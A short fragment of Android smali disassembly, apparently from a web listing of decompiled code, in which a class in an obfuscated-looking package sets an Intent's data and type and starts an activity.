00086968invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
0008696eiget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086972invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
00086978return-void
000866b4
Loading..